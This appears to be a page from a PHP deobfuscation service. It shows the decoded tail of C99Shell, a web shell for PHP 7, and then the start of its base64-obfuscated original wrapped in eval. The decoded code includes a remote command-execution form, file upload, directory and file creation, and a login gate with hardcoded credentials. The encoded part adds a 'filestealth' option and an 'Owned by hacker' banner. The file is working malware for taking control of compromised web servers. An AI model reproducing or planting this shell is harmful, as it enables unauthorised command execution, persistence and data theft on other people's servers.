        "ext_hpp" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANFWLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVRUqUagnbLdZa+YFcCADs=",
        "ext_htaccess" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJAAA7",
        "ext_html" => "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNzc////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3PKIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDkBkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIRADs=",
        "ext_jpg" => "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEciCi8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftdFxEAOw==",
        "ext_js" => "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibHk0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhsa00AjYYBbc/o9HjNniUAADs=",
        "ext_lnk" => "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjONSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHziUww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABkAAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDGMymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQADs=",
        "ext_log" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wNzLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
        "ext_php" => "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlgt0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
        "ext_pl" => "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMoGLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
        "ext_swf" => "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/OnAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GAGBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgCNysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
        "ext_tar" => "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JICWv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XFHgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGDUyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17puo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkgGwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMdHUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FBu4tLAgEAOw==",
        "ext_txt" => "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJSArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7UpPWG3Ig6Hq/XmRjuZwkAAA7",
        "ext_wri" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoaoa4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
        "ext_xml" => "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACAgDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICxOAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQIQA7"
    );
    $imgequals = array(
        "ext_tar" => array(
            "ext_tar",
            "ext_r00",
            "ext_ace",
            "ext_arj",
            "ext_bz",
            "ext_bz2",
            "ext_tbz",
            "ext_tbz2",
            "ext_tgz",
            "ext_uu",
            "ext_xxe",
            "ext_zip",
            "ext_cab",
            "ext_gz",
            "ext_iso",
            "ext_lha",
            "ext_lzh",
            "ext_pbk",
            "ext_rar",
            "ext_uuf"
        ) ,
        "ext_php" => array(
            "ext_php",
            "ext_php3",
            "ext_php4",
            "ext_php5",
            "ext_phtml",
            "ext_shtml",
            "ext_htm"
        ) ,
        "ext_jpg" => array(
            "ext_jpg",
            "ext_gif",
            "ext_png",
            "ext_jpeg",
            "ext_jfif",
            "ext_jpe",
            "ext_bmp",
            "ext_ico",
            "ext_tif",
            "tiff"
        ) ,
        "ext_html" => array(
            "ext_html",
            "ext_htm"
        ) ,
        "ext_avi" => array(
            "ext_avi",
            "ext_mov",
            "ext_mvi",
            "ext_mpg",
            "ext_mpeg",
            "ext_wmv",
            "ext_rm"
        ) ,
        "ext_lnk" => array(
            "ext_lnk",
            "ext_url"
        ) ,
        "ext_ini" => array(
            "ext_ini",
            "ext_css",
            "ext_inf"
        ) ,
        "ext_doc" => array(
            "ext_doc",
            "ext_dot"
        ) ,
        "ext_js" => array(
            "ext_js",
            "ext_vbs"
        ) ,
        "ext_cmd" => array(
            "ext_cmd",
            "ext_bat",
            "ext_pif"
        ) ,
        "ext_wri" => array(
            "ext_wri",
            "ext_rtf"
        ) ,
        "ext_swf" => array(
            "ext_swf",
            "ext_fla"
        ) ,
        "ext_mp3" => array(
            "ext_mp3",
            "ext_au",
            "ext_midi",
            "ext_mid"
        ) ,
        "ext_htaccess" => array(
            "ext_htaccess",
            "ext_htpasswd",
            "ext_ht",
            "ext_hta",
            "ext_so"
        )
    );
    if (!$getall)
    {
        header("Content-type: image/gif");
        header("Cache-control: public");
        header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
        header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
        header("Last-Modified: " . date("r", filemtime(__FILE__)));
        foreach ($imgequals as $k => $v)
        {
            if (in_array($img, $v))
            {
                $img = $k;
                break;
            }
        }
        if (empty($images[$img]))
        {
            $img = "small_unk";
        }
        if (in_array($img, $ext_tar))
        {
            $img = "ext_tar";
        }
        echo base64_decode($images[$img]);
    }
    else
    {
        foreach ($imgequals as $a => $b)
        {
            foreach ($b as $d)
            {
                if ($a != $d)
                {
                    if (!empty($images[$d]))
                    {
                        echo ("Warning! Remove \$images[" . $d . "]<br>");
                    }
                }
            }
        }
        natsort($images);
        $k = array_keys($images);
        echo "<center>";
        foreach ($k as $u)
        {
            echo $u . ":<img src=\"" . $surl . "act=img&img=" . $u . "\" border=\"1\"><br>";
        }
        echo "</center>";
    }
    exit;
}
if ($act == "about")
{
    echo "<center><b>Credits:<br><br>Kudos to the &quot;Original Creators&quot; of C99Shell.<br><br>and <u>KaizenLouie</u> for Latest safe-build and update for PHP 7.<br><br>Thanks to all who reported the bugs.<br>If there are more bugs, please create an issue in https://github.com/KaizenLouie/C99Shell-PHP7 </b>";
} ?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als)
{
    echo "<option value=\"" . htmlspecialchars($als[1]) . "\">" . htmlspecialchars($als[0]) . "</option>";
} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>maintained by</b></u></a> KaizenLouie | <a href="https://github.com/KaizenLouie/C99Shell-PHP7"><font color="#FF0000">C99Shell Github</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime() - starttime, 4); ?> ]--</b></p></td></tr></table>
</body></html><?php chdir($lastdir);

c99shexit(); 
} else {
?>
    <form action="" method="post" ><input size=35 type=text name="userLogin" placeholder="user" /><input size=35 type=password name="passLogin" placeholder="password" /><input type=submit value="Login" style="display:inline;margin-left: 20px" /></form>
<?php
 print("Unauthrized");
}

Did this file decode correctly?

Original Code

<?php
eval(base64_decode("JHNoZWxsVXNlciA9ICJqb181ZUYwSUU4a00iOyRzaGVsbE1ENSA9ICI4MzZjNGQ5MjgxZmU5Njg0
MGFkYTkzYTNhNmExYTU2ZiI7LyoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKg0KICAgICAgIF9fX19fX19fICBfX19fX19fXyAgICBfX19fX19fX18uX18gICAg
ICAgICAgIC5fXyAgLl9fICAgICAgICAgICAgIF9fX19fX19fICAgICBfX19fX19fICAgDQogIF9f
X18vICAgX18gICBcLyAgIF9fICAgXCAgLyAgIF9fX19fL3wgIHxfXyAgIF9fX18gfCAgfCB8ICB8
ICAgX19fICBfXyAgXF9fX19fICBcICAgIFwgICBfICBcICANCl8vIF9fX1xfX19fICAgIC9cX19f
XyAgICAvICBcX19fX18gIFwgfCAgfCAgXF8vIF9fIFx8ICB8IHwgIHwgICBcICBcLyAvICAgLyAg
X19fXy8gICAgLyAgL19cICBcIA0KXCAgXF9fXyAgLyAgICAvICAgIC8gICAgLyAgIC8gICAgICAg
IFx8ICAgWSAgXCAgX19fL3wgIHxffCAgfF9fICBcICAgLyAgIC8gICAgICAgXCAgICBcICBcXy8g
ICBcDQogXF9fXyAgPi9fX19fLyAgICAvX19fXy8gICAvX19fX19fXyAgL3xfX198ICAvXF9fXyAg
Pl9fX18vX19fXy8gICBcXy8gL1wgXF9fX19fX18gXCAvXCBcX19fX18gIC8NCiAgICAgXC8gICAg
ICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICBcLyAgICAgXC8gICAgICAgICAgICAgICAg
ICBcLyAgICAgICAgIFwvIFwvICAgICAgIFwvIA0KIF8gICAgICAgICAgICAgXyAgIF9fICAgICAg
XyAgICAgICAgICAgICAgIF8gICAgICAgICAgICAgICAgIF8gICAgICANCnwgfCAgICAgICAgICAg
fCB8IC8gLyAgICAgKF8pICAgICAgICAgICAgIHwgfCAgICAgICAgICAgICAgIChfKSAgICAgDQp8
IHxfXyAgXyAgIF8gIHwgfC8gLyAgX18gXyBfIF9fX19fX18gXyBfXyB8IHwgICAgIF9fXyAgXyAg
IF8gXyAgX19fIA0KfCAnXyBcfCB8IHwgfCB8ICAgIFwgLyBfYCB8IHxfICAvIF8gXCAnXyBcfCB8
ICAgIC8gXyBcfCB8IHwgfCB8LyBfIFwNCnwgfF8pIHwgfF98IHwgfCB8XCAgXCAoX3wgfCB8LyAv
ICBfXy8gfCB8IHwgfF9fX3wgKF8pIHwgfF98IHwgfCAgX18vDQp8Xy5fXy8gXF9fLCB8IFxffCBc
Xy9cX18sX3xfL19fX1xfX198X3wgfF9cX19fX18vXF9fXy8gXF9fLF98X3xcX19ffA0KICAgICAg
ICBfXy8gfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICANCiAgICAgICB8X19fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgDQoqCQkJYzk5c2hlbGwucGhwIHYuMi4wIChQSFAgNykgKDI1LjAy
LjIwMTkpIFVwZGF0ZWQgYnk6IEthaXplbkxvdWllIGZvciBQSFAgNw0KKgkJCWh0dHBzOi8vZ2l0
aHViLmNvbS9LYWl6ZW5Mb3VpZS9DOTlTaGVsbC1QSFA3DQoqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioNCiovDQoNCg0KZnVuY3Rpb24gY2xlYW4oJGRhdGEpIHsN
CiAgICAkZGF0YSA9IHRyaW0oJGRhdGEpOw0KICAgICRkYXRhID0gc3RyaXBzbGFzaGVzKCRkYXRh
KTsNCiAgICAkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoJGRhdGEpOw0KICAgIHJldHVybiAkZGF0
YTsNCn0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXJMb2dpbiddKSAmJiAhZW1wdHkoJF9QT1NU
WydwYXNzTG9naW4nXSkpIHsNCiAgICAkdXNlciA9IGNsZWFuKCRfUE9TVFsndXNlckxvZ2luJ10p
Ow0KICAgICRwYXNzd29yZCA9IGNsZWFuKCRfUE9TVFsncGFzc0xvZ2luJ10pOw0KICAgIGlmICgk
dXNlciA9PSAkc2hlbGxVc2VyICYmIG1kNShzaGExKCRwYXNzd29yZCkpID09ICRzaGVsbE1ENSkg
ew0KICAgICAgICBzZXRjb29raWUoInVzZXIiLCAkdXNlciwgdGltZSgpKzIxNjAwLCcvJyk7DQog
ICAgICAgIHNldGNvb2tpZSgidDNycjByIiwgJHBhc3N3b3JkLCB0aW1lKCkrMjE2MDAsJy8nKTsN
CiAgICAgICAgaGVhZGVyKCJSZWZyZXNoOjAiKTsNCiAgICB9DQp9DQoNCmlmIChpc3NldCgkX0NP
T0tJRVsidDNycjByIl0pICYmIG1kNShzaGExKCRfQ09PS0lFWyJ0M3JyMHIiXSkpID09ICRzaGVs
bE1ENSAmJiBpc3NldCgkX0NPT0tJRVsidXNlciJdKSAmJiAkX0NPT0tJRVsidXNlciJdID09ICRz
aGVsbFVzZXIpIHsNCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKQ0Kew0K
ICAgIGZ1bmN0aW9uIGdldG1pY3JvdGltZSgpDQogICAgew0KICAgICAgICBsaXN0KCR1c2VjLCAk
c2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7DQogICAgICAgIHJldHVybiAoKGZsb2F0
KSR1c2VjICsgKGZsb2F0KSRzZWMpOw0KICAgIH0NCn0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBp
Z25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1Ms
IDAsIDMpKSA9PSAid2luIjsNCmRlZmluZSgic3RhcnR0aW1lIiwgZ2V0bWljcm90aW1lKCkpOw0K
aWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpDQp7DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMo
InN0cmlwcyIpKQ0KICAgIHsNCiAgICAgICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCAkayA9ICIi
KQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGFycikpDQogICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGFyciBhcyAkayA9PiAkdikNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xP
QkFMUyIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN0
cmlwcygkYXJyWyIkayJdKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAkYXJyID0gc3RyaXBzbGFzaGVzKCRhcnIpOw0KICAgICAgICAgICAgfQ0KICAg
ICAgICB9DQogICAgfQ0KICAgIHN0cmlwcygkR0xPQkFMUyk7DQp9DQokX1JFUVVFU1QgPSBhcnJh
eV9tZXJnZSgkX0NPT0tJRSwgJF9HRVQsICRfUE9TVCk7DQpmb3JlYWNoICgkX1JFUVVFU1QgYXMg
JGsgPT4gJHYpDQp7DQogICAgaWYgKCFpc3NldCgkJGspKQ0KICAgIHsNCiAgICAgICAgJCRrID0g
JHY7DQogICAgfQ0KfQ0KJHNodmVyID0gIjIuMCBbUEhQIDcgVXBkYXRlXSBbMjUuMDIuMjAxOV0i
Ow0KaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpDQp7DQogICAgc2V0Y29va2llKCJjOTlzaF9zdXJs
Iik7DQogICAgJHN1cmwgPSAiIjsNCn0NCmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpDQp7DQog
ICAgJHN1cmwgPSAkc2V0X3N1cmw7DQogICAgc2V0Y29va2llKCJjOTlzaF9zdXJsIiwgJHN1cmwp
Ow0KfQ0KZWxzZQ0Kew0KICAgICRzdXJsID0gJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl07DQp9DQok
c3VybF9hdXRvZmlsbF9pbmNsdWRlID0gdHJ1ZTsNCmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRl
IGFuZCAhJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl0pDQp7DQogICAgJGluY2x1ZGUgPSAiJiI7DQog
ICAgZm9yZWFjaCAoZXhwbG9kZSgiJiIsIGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KQ0K
ICAgIHsNCiAgICAgICAgJHYgPSBleHBsb2RlKCI9IiwgJHYpOw0KICAgICAgICAkbmFtZSA9IHVy
bGRlY29kZSgkdlswXSk7DQogICAgICAgICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7DQogICAg
ICAgIGZvcmVhY2ggKGFycmF5KA0KICAgICAgICAgICAgImh0dHA6Ly8iLA0KICAgICAgICAgICAg
Imh0dHBzOi8vIiwNCiAgICAgICAgICAgICJzc2w6Ly8iLA0KICAgICAgICAgICAgImZ0cDovLyIs
DQogICAgICAgICAgICAiXFxcXCINCiAgICAgICAgKSBhcyAkbmVlZGxlKQ0KICAgICAgICB7DQog
ICAgICAgICAgICBpZiAoc3RycG9zKCR2YWx1ZSwgJG5lZWRsZSkgPT09IDApDQogICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgJGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1lKSAuICI9
IiAuIHVybGVuY29kZSgkdmFsdWUpIC4gIiYiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQog
ICAgfQ0KICAgIGlmICgkX1JFUVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKQ0KICAgIHsN
CiAgICAgICAgJGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2ZpbGxfaW5jbHVkZT0xJiI7DQogICAg
fQ0KfQ0KaWYgKGVtcHR5KCRzdXJsKSkNCnsNCiAgICAkc3VybCA9ICI/IiAuICRpbmNsdWRlc3Ry
Ow0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCiR0aW1lbGltaXQgPSAwOw0K
JGxvZ2luID0gIiI7DQokcGFzcyA9ICIiOw0KJG1kNV9wYXNzID0gIiI7DQokaG9zdF9hbGxvdyA9
IGFycmF5KA0KICAgICIqIg0KKTsNCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBhcmVhIjsNCiRh
Y2Nlc3NkZW5pZWRtZXNzID0gIjxhIGhyZWY9XCJodHRwczovL2dpdGh1Yi5jb20vS2FpemVuTG91
aWUvQzk5U2hlbGwtUEhQN1wiPmM5OXNoZWxsIHYuIiAuICRzaHZlciAuICI8L2E+OiBhY2Nlc3Mg
ZGVuaWVkIjsNCiRnemlwZW5jb2RlID0gdHJ1ZTsNCiR1cGRhdGVub3cgPSBmYWxzZTsNCiRjOTlz
aF91cGRhdGV1cmwgPSAiaHR0cHM6Ly9naXRodWIuY29tL0thaXplbkxvdWllL0M5OVNoZWxsLVBI
UDcvIjsNCiRjOTlzaF9zb3VyY2VzdXJsID0gImh0dHBzOi8vZ2l0aHViLmNvbS9LYWl6ZW5Mb3Vp
ZS9DOTlTaGVsbC1QSFA3LyI7DQokZmlsZXN0ZWFsdGggPSB0cnVlOw0KJGRvbmF0ZWRfaHRtbCA9
ICI8Y2VudGVyPjxiPk93bmVkIGJ5IGhhY2tlcjwvYj48L2NlbnRlcj4iOw0KJGRvbmF0ZWRfYWN0
ID0gYXJyYXkoDQogICAgIiINCik7DQokY3VyZGlyID0gIi4vIjsNCiR0bXBkaXIgPSAiIjsNCiR0
bXBkaXJfbG9nID0gIi4vIjsNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LnRsZCI7DQokc29ydF9k
ZWZhdWx0ID0gIjBhIjsNCiRzb3J0X3NhdmUgPSB0cnVlOw0KJGZ0eXBlcyA9IGFycmF5KA0KICAg
ICJodG1sIiA9PiBhcnJheSgNCiAgICAgICAgImh0bWwiLA0KICAgICAgICAiaHRtIiwNCiAgICAg
ICAgInNodG1sIg0KICAgICkgLA0KICAgICJ0eHQiID0+IGFycmF5KA0KICAgICAgICAidHh0IiwN
CiAgICAgICAgImNvbmYiLA0KICAgICAgICAiYmF0IiwNCiAgICAgICAgInNoIiwNCiAgICAgICAg
ImpzIiwNCiAgICAgICAgImJhayIsDQogICAgICAgICJkb2MiLA0KICAgICAgICAibG9nIiwNCiAg
ICAgICAgInNmYyIsDQogICAgICAgICJjZmciLA0KICAgICAgICAiaHRhY2Nlc3MiDQogICAgKSAs
DQogICAgImV4ZSIgPT4gYXJyYXkoDQogICAgICAgICJzaCIsDQogICAgICAgICJpbnN0YWxsIiwN
CiAgICAgICAgImJhdCIsDQogICAgICAgICJjbWQiDQogICAgKSAsDQogICAgImluaSIgPT4gYXJy
YXkoDQogICAgICAgICJpbmkiLA0KICAgICAgICAiaW5mIg0KICAgICkgLA0KICAgICJjb2RlIiA9
PiBhcnJheSgNCiAgICAgICAgInBocCIsDQogICAgICAgICJwaHRtbCIsDQogICAgICAgICJwaHAz
IiwNCiAgICAgICAgInBocDQiLA0KICAgICAgICAiaW5jIiwNCiAgICAgICAgInRjbCIsDQogICAg
ICAgICJoIiwNCiAgICAgICAgImMiLA0KICAgICAgICAiY3BwIiwNCiAgICAgICAgInB5IiwNCiAg
